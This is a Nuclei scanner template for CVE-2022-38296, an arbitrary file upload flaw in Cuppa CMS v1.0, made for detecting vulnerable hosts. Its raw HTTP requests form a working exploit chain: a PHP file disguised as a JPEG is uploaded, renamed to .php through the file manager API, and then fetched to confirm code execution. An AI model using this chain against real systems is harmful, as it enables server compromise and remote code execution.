nuclei-templates/http/cves/2022/CVE-2022-38296.yaml

104 lines
2.9 KiB
YAML

id: CVE-2022-38296
info:
name: Cuppa CMS v1.0 - Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.
remediation: |
Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.
reference:
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-38296
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-38296
cwe-id: CWE-434
epss-score: 0.02096
epss-percentile: 0.87892
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: cuppacms
product: cuppacms
tags: cve,cve2022,rce,cuppa,intrusive,cuppacms
http:
- raw:
- |
POST /js/jquery_file_upload/server/php/ HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="path"
/
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="unique_name"
true
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="resize_width"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="resize_height"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="crop"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="compress"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="files[]"; filename="test-{{randstr}}.jpg"
Content-Type: image/jpeg
<?php
echo md5("CVE-2022-38296");
?>
------WebKitFormBoundary9MZjlIG8fVPjrlCI--
- |
POST /js/filemanager/api/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"from":"//{{filename}}","to":"//{{randstr}}.php","action":"rename"}
- |
GET /media/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- ed6bf8b1b4b8e64836455fe32b958c2c
condition: and
- type: word
part: header_3
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: filename
group: 1
regex:
- '"name":"(.*?)",'
internal: true
# digest: 4a0a00473045022100a2f2fc1db29e024aa0d8d1acc09cec29d6ff8c641b6f7e66bf0e2ff2c841eda30220554f23c86b801be1b18b5d42e4c6d421fa2c2dcae26706a6e7598f96c16ff750:922c64590222798bb761d5b6d8e72950